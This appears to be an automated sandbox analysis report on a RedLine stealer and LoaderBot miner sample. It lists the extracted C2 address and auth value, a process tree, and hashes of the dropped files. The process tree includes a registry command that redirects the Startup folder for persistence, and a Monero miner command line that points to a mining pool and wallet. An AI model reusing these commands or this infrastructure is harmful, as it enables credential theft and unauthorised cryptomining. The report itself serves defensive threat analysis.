Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    12-04-2022 07:45

General

  • Target

    15791f0ceae7a162d3280af791cd8837705a7ccb6248bbfc3184cc3306ec4a57.exe

  • Size

    233KB

  • MD5

    a9d9617466a30b874b80d4fd6465f46b

  • SHA1

    b6e42e3a1fbc20c78e003b065440733fb1cafe84

  • SHA256

    15791f0ceae7a162d3280af791cd8837705a7ccb6248bbfc3184cc3306ec4a57

  • SHA512

    ec3d90e3c7b9427ecb9097941a37872c195cc389bf45a78b7c343d7d964fcf999266cee8bea78907cb302d318b74035948b7db760903692e4275d5016d3e1c89

Malware Config

Extracted

Family

redline

Botnet

123

C2

188.68.205.12:7053

Attributes
  • auth_value

    cba3087b3c1a6a9c43b3f96591452ea2

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • LoaderBot executable 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\15791f0ceae7a162d3280af791cd8837705a7ccb6248bbfc3184cc3306ec4a57.exe
    "C:\Users\Admin\AppData\Local\Temp\15791f0ceae7a162d3280af791cd8837705a7ccb6248bbfc3184cc3306ec4a57.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Users\Public\M3gJNbpqWpct.exe
      "C:\Users\Public\M3gJNbpqWpct.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3220
    • C:\Users\Public\BEgHvre3gJNc.exe
      "C:\Users\Public\BEgHvre3gJNc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA463.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4252
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d "C:\ProgramData\Graphics Status v3.7.1"
          4⤵
            PID:1156
          • C:\Windows\system32\timeout.exe
            timeout 4
            4⤵
            • Delays execution with timeout.exe
            PID:908
          • C:\ProgramData\Graphics Status v3.7.1\5d0aad9e.exe
            "C:\ProgramData\Graphics Status v3.7.1\5d0aad9e.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5096
            • C:\Users\Admin\AppData\Local\Temp\5baa1271df727828.exe
              "C:\Users\Admin\AppData\Local\Temp\5baa1271df727828.exe"
              5⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2588
              • C:\ProgramData\MinerFull.exe
                "C:\ProgramData\MinerFull.exe"
                6⤵
                • Executes dropped EXE
                • Checks computer location settings
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5056
                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4636
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 4636 -s 764
                    8⤵
                    • Program crash
                    PID:4400
                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
                  7⤵
                  • Executes dropped EXE
                  PID:4652
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 4652 -s 564
                    8⤵
                    • Program crash
                    PID:3396
                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 45XQiu9A9vmVd5Cy6X35M12NocUr2Hx69X4ZNNu2BsKJYkdksefg2gXJyvBUeEJyDWTfLD6GWmAu4Tab1w4tycfcFMqy8yH -p x -k -v=0 --donate-level=1 -t 1
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3480
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 452 -p 4636 -ip 4636
      1⤵
        PID:440
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 448 -p 4652 -ip 4652
        1⤵
          PID:1440

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\Graphics Status v3.7.1\5d0aad9e.exe

          Filesize

          1.8MB

          MD5

          a73afdf0bdb56bfffa8cff06238072c0

          SHA1

          fca14060883368a62505e169f45d2429b16575e1

          SHA256

          44b6288f33dda17cbfb20581567ef9b898f0fafdd9fd9f8988729b7afddb927e

          SHA512

          1b40eb2ea9a2fd2a7b65260cf30f3001cad03760cd355c649554a2fcee3100cb952826116dda8af1b2c87bfa39420a8855f09518ae0a3fe9823687bc690e80f4

        • C:\ProgramData\Graphics Status v3.7.1\5d0aad9e.exe

          Filesize

          1.8MB

          MD5

          a73afdf0bdb56bfffa8cff06238072c0

          SHA1

          fca14060883368a62505e169f45d2429b16575e1

          SHA256

          44b6288f33dda17cbfb20581567ef9b898f0fafdd9fd9f8988729b7afddb927e

          SHA512

          1b40eb2ea9a2fd2a7b65260cf30f3001cad03760cd355c649554a2fcee3100cb952826116dda8af1b2c87bfa39420a8855f09518ae0a3fe9823687bc690e80f4

        • C:\ProgramData\MinerFull.exe

          Filesize

          4.0MB

          MD5

          5c7bc4cc56f6e6acb801210bc6eda798

          SHA1

          541b6f50091fdc17c2bc8d596c0e202b854fb991

          SHA256

          48f66e13c00038bb2ec12a58bd34cb79f2cf616230c25224c68b81d6c3d7ebf9

          SHA512

          66558bf8679c264c507a1fb8da2fd81347b339d3786487895f902330d63bf9b44be5a136061b0848801b768fea3e525b934d1b04c2cef959cc878b421c6cbd5d

        • C:\ProgramData\MinerFull.exe

          Filesize

          4.0MB

          MD5

          5c7bc4cc56f6e6acb801210bc6eda798

          SHA1

          541b6f50091fdc17c2bc8d596c0e202b854fb991

          SHA256

          48f66e13c00038bb2ec12a58bd34cb79f2cf616230c25224c68b81d6c3d7ebf9

          SHA512

          66558bf8679c264c507a1fb8da2fd81347b339d3786487895f902330d63bf9b44be5a136061b0848801b768fea3e525b934d1b04c2cef959cc878b421c6cbd5d

        • C:\Users\Admin\AppData\Local\Temp\5baa1271df727828.exe

          Filesize

          3.9MB

          MD5

          9c5e314b009dffdc5d3328c14025cc12

          SHA1

          0bc7a3b796eb71a5da4fc4d5117f2dffb22dc76e

          SHA256

          846e6b0104f81323b6e15901bada07749af9c43270ec5f193d16c317d426fc09

          SHA512

          236c4b9b04b76a65e8e8fa5b4ff4c38d8a18c594b333f1dc5e752bb353756667e8fe70e7bc500b20e0cf0f88ee670913b58f2ca3f7123109c1bad7ff81e2c21b

        • C:\Users\Admin\AppData\Local\Temp\5baa1271df727828.exe

          Filesize

          3.9MB

          MD5

          9c5e314b009dffdc5d3328c14025cc12

          SHA1

          0bc7a3b796eb71a5da4fc4d5117f2dffb22dc76e

          SHA256

          846e6b0104f81323b6e15901bada07749af9c43270ec5f193d16c317d426fc09

          SHA512

          236c4b9b04b76a65e8e8fa5b4ff4c38d8a18c594b333f1dc5e752bb353756667e8fe70e7bc500b20e0cf0f88ee670913b58f2ca3f7123109c1bad7ff81e2c21b

        • C:\Users\Admin\AppData\Local\Temp\tmpA463.tmp.bat

          Filesize

          346B

          MD5

          e65e42872fa0a20c5a23a9a373eb6e79

          SHA1

          79fce61e022e2f2273837af3670f2081010aaa1f

          SHA256

          7c0ab61df8a47b6f14005096fd26f51d4ccdbbab8fde2132c612b4d097fc840a

          SHA512

          68844b9cad7c7b31e6fbaacaeccd75fbe29bde36ce26b50c4d4a6588cf7ff44ba1b32f81919cbb294f331c3e918a17abb6637d6845501b79e0537ee10a24ce60

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

          Filesize

          3.9MB

          MD5

          02569a7a91a71133d4a1023bf32aa6f4

          SHA1

          0f16bcb3f3f085d3d3be912195558e9f9680d574

          SHA256

          8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

          SHA512

          534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

        • C:\Users\Public\BEgHvre3gJNc.exe

          Filesize

          42KB

          MD5

          c523d423234494eeb7b60a892d7a4bea

          SHA1

          db992908237ee2ab5c07f4362b9a29516ac09a5d

          SHA256

          98c0617a52694e05760b7f0584a3a0f15f772a4e8598cdd7bd833401e6c596d3

          SHA512

          0aa6808037697dfd7654a845008e9ee231b05e55a2aa5cb2984a060cc6100d4e7ced45483f832d37bde1adad99facf03b17e6a9268a26ed9b9ced1fa389a81ec

        • C:\Users\Public\BEgHvre3gJNc.exe

          Filesize

          42KB

          MD5

          c523d423234494eeb7b60a892d7a4bea

          SHA1

          db992908237ee2ab5c07f4362b9a29516ac09a5d

          SHA256

          98c0617a52694e05760b7f0584a3a0f15f772a4e8598cdd7bd833401e6c596d3

          SHA512

          0aa6808037697dfd7654a845008e9ee231b05e55a2aa5cb2984a060cc6100d4e7ced45483f832d37bde1adad99facf03b17e6a9268a26ed9b9ced1fa389a81ec

        • C:\Users\Public\M3gJNbpqWpct.exe

          Filesize

          106KB

          MD5

          64eeb5ab677596ec8516a8414428b5d7

          SHA1

          4c8e61d0e2abfccb50c9a949d8bcb318b6c5e52a

          SHA256

          2ac567b583c3dc6843f8d7cba45b102b856f269395ee220801c7a490679a53b3

          SHA512

          16012d1985a45256d4978e0506a900ea9c8009530f0068e7870b3ec5b8ba2ebe0eb3542bc28a43eda3a7c1eb4dd2eeae672abb57a9799d51e1db3aa49598c439

        • C:\Users\Public\M3gJNbpqWpct.exe

          Filesize

          106KB

          MD5

          64eeb5ab677596ec8516a8414428b5d7

          SHA1

          4c8e61d0e2abfccb50c9a949d8bcb318b6c5e52a

          SHA256

          2ac567b583c3dc6843f8d7cba45b102b856f269395ee220801c7a490679a53b3

          SHA512

          16012d1985a45256d4978e0506a900ea9c8009530f0068e7870b3ec5b8ba2ebe0eb3542bc28a43eda3a7c1eb4dd2eeae672abb57a9799d51e1db3aa49598c439

        • memory/2588-158-0x00000264AAE30000-0x00000264AAE92000-memory.dmp

          Filesize

          392KB

        • memory/2588-159-0x00007FF860B10000-0x00007FF8615D1000-memory.dmp

          Filesize

          10.8MB

        • memory/2588-160-0x00000264C5430000-0x00000264C5432000-memory.dmp

          Filesize

          8KB

        • memory/3220-148-0x00000000058C0000-0x0000000005952000-memory.dmp

          Filesize

          584KB

        • memory/3220-134-0x0000000004AD0000-0x0000000004BDA000-memory.dmp

          Filesize

          1.0MB

        • memory/3220-147-0x0000000005CD0000-0x0000000006274000-memory.dmp

          Filesize

          5.6MB

        • memory/3220-149-0x0000000005960000-0x00000000059D6000-memory.dmp

          Filesize

          472KB

        • memory/3220-150-0x0000000005A20000-0x0000000005A3E000-memory.dmp

          Filesize

          120KB

        • memory/3220-151-0x0000000006330000-0x0000000006396000-memory.dmp

          Filesize

          408KB

        • memory/3220-152-0x0000000006670000-0x0000000006832000-memory.dmp

          Filesize

          1.8MB

        • memory/3220-153-0x0000000006D70000-0x000000000729C000-memory.dmp

          Filesize

          5.2MB

        • memory/3220-154-0x0000000006A40000-0x0000000006A90000-memory.dmp

          Filesize

          320KB

        • memory/3220-131-0x0000000000150000-0x0000000000170000-memory.dmp

          Filesize

          128KB

        • memory/3220-132-0x0000000004F00000-0x0000000005518000-memory.dmp

          Filesize

          6.1MB

        • memory/3220-137-0x0000000004A00000-0x0000000004A3C000-memory.dmp

          Filesize

          240KB

        • memory/3220-133-0x00000000049A0000-0x00000000049B2000-memory.dmp

          Filesize

          72KB

        • memory/3480-175-0x0000000002070000-0x0000000002090000-memory.dmp

          Filesize

          128KB

        • memory/4308-130-0x0000000000460000-0x0000000000470000-memory.dmp

          Filesize

          64KB

        • memory/4308-136-0x000000001BF80000-0x000000001BF82000-memory.dmp

          Filesize

          8KB

        • memory/4308-135-0x00007FF860B10000-0x00007FF8615D1000-memory.dmp

          Filesize

          10.8MB

        • memory/4636-168-0x00000000001D0000-0x00000000001E4000-memory.dmp

          Filesize

          80KB

        • memory/5056-164-0x0000000000BB0000-0x0000000000FB0000-memory.dmp

          Filesize

          4.0MB

        • memory/5096-145-0x00007FF860B10000-0x00007FF8615D1000-memory.dmp

          Filesize

          10.8MB

        • memory/5096-146-0x000000001BDC0000-0x000000001BDC2000-memory.dmp

          Filesize

          8KB